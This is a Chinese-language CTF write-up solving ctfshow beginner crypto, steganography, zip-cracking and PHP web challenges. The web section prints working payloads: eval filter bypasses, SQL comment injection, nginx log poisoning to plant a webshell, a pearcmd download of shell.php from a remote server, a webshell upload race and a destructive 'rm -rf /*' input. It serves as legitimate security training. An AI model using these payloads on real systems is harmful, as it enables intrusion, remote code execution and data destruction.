¶前言
对,我就是萌新,哭哭。
萌新系列需要萌新码开启,按照第一题提示加群即可获得,不过有些题有时候显示不出来,所以我记录的话会断断续续的
¶Crypto
¶密码1
给出了一串16进制的数据,我们先转换成str
得到一串base64编码的数据,我们再去解一下base64
解码后得到一串栅栏密码,再去解一下
在栏数为19的时候得到flag
1 |
KEY{dffb06a33eeeb0d259c84bd8cf146d08-} |
¶密码2
我们去看一下键盘,发现被rdcvbg 2qase3 6tghu7分别包围的键是f、w和y
于是按照格式得到flag
¶密码3
题目给出一段字符,看起来是莫斯密码
1 |
-- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. -- |
解密后得到
1 |
MORSEnullISnullCOOLnullBUTnullBACONnullISnullCOOLERnullMMDDMDMDMMMDDDMDMDDMMMMMMMDDMDMMDDM |
结合题目提示培根,只处理尾部M和D,将M转换成A,D转换成B
1 |
AABBABABAAABBBABABBAAAAAAABBABAABBA |
¶密码4
给出一串base64编码,去解码一下
再次base家族base85解密
得到flag
¶Misc
¶隐写1
下载下来的png文件打不开,提示错误,放进010进去查看
发现文件头错误,png文件头应该是89504E47,将99改成89,再保存打开文件,得到flag
1 |
flag{zhe_ci_meiyou_ctfshow} |
¶隐写2
下载下来得到一张jpg图片,图片提示jphs隐写,用Jphswin工具打开
点击seek解密,密码没有,就空着不写,然后另存为txt文本,得到flag
1 |
flag{202cb962ac59075b964b07152d234b70} |
¶萌新_隐写2
下载文件得到一个加密的zip压缩包
提示我们是密码是生日,所以最长有8位数字,直接压缩包爆破
得到压缩包密码为:19981000
打开压缩包后得到flag
¶萌新隐写3
¶萌新隐写4
下载的是一个doc文档
这里光标停在下边多一行,猜测可能有文字被隐藏了,所以我们去选项打开显示一下隐藏文字
得到flag
当然还有一种办法,就是crtl+a全选复制到外面(隐藏的文字一起被选中),就可以看到flag
¶萌新隐写5
1 |
䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀 |
1 |
\u4d00\u5a00\u5700\u4700\u4300\u5a00\u5a00\u4900\u4e00\u4200\u5100\u5700\u3600\u5800\u3300\u4b00\u4e00\u4600\u3200\u5600\u3600\u5900\u5400\u5600\u4c00\u3500\u3400\u5700\u3600\u3300\u5400\u4800\u4c00\u3500\u5200\u4400\u4700\u4d00\u5300\u3700\u4600\u4500\u3d00\u3d00\u3d00\u3d00\u3d00\u3d00 |
1 |
MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE====== |
1 |
flag(hao_jiu_bu_yong_b32_) |
¶萌新隐写6
下载下来是一个音频文件,拖进音频分析软件里
看到一段有规律的波形,应该是莫斯密码,长的替换成-,短的替换成.
1 |
-- ..- --.. .. -.- .. ... --. ----- ----- -.. |
¶杂项1
打开,题目说明如下
那我们直接拿这个md5去解一下
得到结果为:helloctf,所以flag是
¶杂项2
下载下来得到一个压缩包,解压后是一张png图片
丢进010观察,看到flag
¶萌新杂项3
通过题目描述,可以得到这些数字97,10,01,还着重说了名字小五,银行卡密码只能是数字,那就是15谐音,所以一共是97,10,01,15,银行卡密码只有6位,所以就是互相组合一下,我是直接971015,把后面的01换成15成功了
¶杂项4
下载得到一个加密压缩包,根据提示,密码为372开头的9位数字,所以我们先生成一个372000000到372999999的字典
1 |
with open('pd.txt','w') as f: |
再进行压缩包爆破
得到密码为372619038,所以flag为
¶杂项5
打开题目,下载得到一个txt文件名,但没有后缀,丢进010中查看
发现一段文字,拿去谷歌翻译看看…
翻译看不出有什么有用的信息,但是注意到原文中有{}两个符号,还有F开头的大写,猜测全文的大写字母组合起来就是flag
于是写个脚本
1 |
''' |
¶杂项6
得到一个压缩包,题目的意思透露是伪加密,当然有些压缩软件是无视伪加密,直接就能打开,这里我直接就打开看到了flag,不过还是说说预期的做法。首先用010打开压缩包,然后把这里的09改成00再保存,即可去除伪加密
¶杂项7
下载下来得到一个压缩包,打开是一个色图(出题人是个lsp),根据提示修改高度,放进010中修改高度
png格式的话,从第二行开始,前四个字节代表宽度,后四个代表高度,修改完保存再打开就可以看到flag了
¶杂项8
下载得到一个压缩包,解压后得到一张png图片
很明显宽度被修改过导致图片损坏,所以我们去找找图片中的crc
crc为:91918666,所以通过脚本进行爆破图片原本的宽度
1 |
''' |
运行后得到宽为: bytearray(b'\x00\x00\x02\x0c') 524
,所以在010中修改03成02保存即可得到正常图片,拿到flag
¶杂项9
这道题大概就是修改game.dll达到魔兽争霸能开全图视野,然后提交修改的那个基址就可以。这道题不写,看我id应该能联想到曾经我也是dota玩家的一员,可惜如今已被开图弄得满目苍夷😭
¶杂项10
¶杂项11
下载下来得到一个图片,是jphs隐写,用工具解密,密码为空,保存为6.txt
打开6.txt,发现png头
修改6.txt成6.png,得到一张二维码
扫描一下二维码
把后面这串base64拿去解密,得到flag
1 |
flag{战神归来发现自己儿子在刷题,一怒之下召唤10万将士来报仇} |
¶Web
¶web1
1 |
<html> |
这里注意到有两个条件,第一个如果传入的id大于999则报错,而注释提示我们id等于1000的时候可以查询出flag。这里我们看到括号里的判断是用的intval函数
intval函数特性:
intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0;
如果字符串其中有数字,则返回数字;
如果开头无法被转换,则返回0;
所以我们可以用字符串的形式,如’1000’进行绕过
也可以换成
二进制:0b1111101000
16进制:0x3e8
双重取反:~~1000
或者100*10
这里也存在sql注入
当然省事的话直接按照他sql语句进行,取?id=id--+
直接显示全部
¶web2
接着上道题,这里题目说管理员修改了一下代码,但还是能按照上题思路解出
¶web3
这次多加了过滤
1 |
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){ |
¶web4
这次再面基础上又多加了select语句过滤
1 |
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ |
但intval函数依然存在,我们继续构造?id='1000’获取flag
¶web5
这次不能再使用’1000‘获取flag了
1 |
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ |
可以看到,这次正则表达式中匹配了单引号和双引号,再使用?id='1000'
,单引号就会被匹配到,回显id error
但~没有被过滤,所以我们采取双重取反进行绕过,即构造?id=~~1000
,就可获取到flag
¶web6
依然增加了正则表达式
1 |
if(isset($_GET['id'])){ |
这次看到多匹配了一个,但我们不用,我们继续使用双重取反构造获取flag:?id=~~1000
¶web7
oh,no!
1 |
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){ |
这次它终于把~
加到正则表达式了,我们无法使用双重取反的套路了
这次我们使用sql注入,采取?id=id%23
进行注入,获取flag
¶web8
emmm,这道题一开始我还以为是md5全相等,后面问了才知道这是个玩梗的题,即程序员离职删库跑路,命令rm -rf /*
,Linux下强制递归删除文件。
所以构造成?flag=rm -rf /*
¶web9
考查eval命令执行,并且需要匹配到system|exec|highlight三个其中之一
这里使用system命令配合tac读取config.php文件
这里为啥不用cat命令读取?因为cat读取还需要右键查看源码才能看到flag,QWQ
还可以使用highlight,构造成?c=highlight_file(“config.php”);
还可以使用exec命令,构造成?c=exec(‘tac config.php’,$res);var_dump($res);
¶web10
1 |
if(!preg_match("/system|exec|highlight/i",$c)){ |
这次是正则匹配不允许使用,所以这里我们就不能直接使用这三个命令,可以采取命令拼接的方式构造
1 |
?c=$a='sys';$b='tem';$c=$a.$b;$c('tac config.php'); |
¶web11
这次是在前面基础上正则匹配到cat
1 |
if(!preg_match("/system|exec|highlight|cat/i",$c)){ |
但我用的是tac,所以依然可以按照上题的解法构造,获取flag
1 |
?c=$a='sys';$b='tem';$c=$a.$b;$c('tac config.php'); |
¶web12
这次居然连文件名也过滤了呜呜呜
1 |
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){ |
这波你逼我的,我们利用base64编码进行命令执行
把system经过base64编码后:c3lzdGVt
把tac config.php经过base64编码后:dGFjIGNvbmZpZy5waHA=
所以构成成这样
1 |
?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("dGFjIGNvbmZpZy5waHA=");$a($b); |
¶web13
1 |
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){ |
这次正则匹配增加了.和;符号,也就意味着我们不能再拼接执行语句了
不过还有两个命令执行函数passthru()和assert()函数
passthru()直接将结果输出到浏览器
assert()中如果是字符串,会将其当作php代码执行
使用passthru()
在linux中,反引号的作用是将执行的内容赋予变量,构造如下:
1 |
?c=passthru('tac `ls`')?> |
使用assert()
因为正则表达式的过滤,所以这里还是将system(‘tac config.php’)进行base64编码成c3lzdGVtKCd0YWMgY29uZmlnLnBocCcp
构造如下:
1 |
?c=assert(base64_decode('c3lzdGVtKCd0YWMgY29uZmlnLnBocCcp'))?> |
¶web14
太可恶了,这次居然连(也给匹配到了
1 |
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){ |
不过我还有妙计,利用单引号进行绕过,构造如下
1 |
?c=echo `tac conf''ig?p''hp`?> |
¶web15
阿呆又发疯了,这次把>也给过滤了
1 |
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){ |
不过,这次我再给你重拳一击,用惯了get,这次我就用post打得你满地找牙,构造如下
1 |
?c=echo `$_POST[a]`; |
¶web16
看一下代码
1 |
<?php |
即可获得flag
¶web17
打开题目,终于换一个系列了
把php都过滤了QWQ,抓包看看
没发现什么东西,这里看见用的中间件是nginx,那就去尝试读取看一下日志,看看能不能成功
nginx默认日志位置:/var/log/nginx/access.log
发现读取成功,那就进行日志注入,再次抓包传马过去
用蚁剑进行连接
连接成功后,再36d.php文件中找到flag
¶web18-21
使用web17的方法都可以解决
¶web22
打开环境,发现这次会在后面自动加上.php结尾
然后这次用日志注入的话也行不通,可能给的权限不够了,所以我们另寻出路
在低版本php中,会默认开启一个register_argc_argv配置
register_argc_argv是通过GET请求方法类似于参数传递给可执行文件,$argc是用于记录数组大小,$argv是用于记录输入的参数
这里用“+”号进行分割,就可以操纵argv的参数个数
首先,我们需要在自己的服务器上建一个php文件,先用phpinfo测试能不能成功
然后开始构造
1 |
?c=pearcmd&+download+http:/xx.xx.xx.xx/shell.php |
然后再访问http://41b52ef5-6be1-4210-a42c-cab5937677a7.chall.ctf.show/shell.php
发现能成功访问😏
那我们再把shell.php内容改一下
再请求一次,然后访问shell.php,看到文件
那我们直接把shell.php直接改成tac 36d.php
,然后就能拿到flag了
¶web23
打开网站,发现是文件上传
直接抓包传个一句话木马试试
啊这,上传成功了~这么简单吗,哼哼,访问一下我的马儿🐴
403??咋会没有,重新传了几次,发现访问还是403,擦,不会源码有个删马功能吧,上传就会把我的🐴给删了,那我就写个脚本传死你
1 |
|
看到目录下有flaghere0.txt,我们把源码中的ls ../
改成tac ../flaghere0.txt
即可,然后再运行一遍
得到flag😎
¶web 24
按照题目提示把源码中的随机数改成(0,300),时间改成3即可,运行得到flag
¶获得百分之百的快乐
打开题目源码
1 |
<?php |
限制长度为4以下的命令执行,我们先构成?1=ls
查看一下有什么文件
发现文件名有s和z开头的,想到最短的命令就是nl命令,nl可以输出文件内容和行号,那只有三个字符长度如何读取secretsecret_ctfshow_36dddddddddd.php中的flag呢?
我们先去kali走一遍,说说原理:
首先使用>可以生成一个文件,我们这里使用>s
生成一个空的文件名为s的文件
然后往s中写入abc三个字符后,使用nl s
输出试试,输出结果为带行号的s文件内容
我们再使用>nl
生成nl为文件名的文件,然后使用*
通配符
发现会把abc的文件内容也读取成功了,这是因为*会把ls出来的一串文件名按ls的顺序读取成一个字符串,然后当做命令执行,也就变成了"nl s",变成了一个nl命令
所以这道题的pyload为:
1 |
?1=>nl |
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论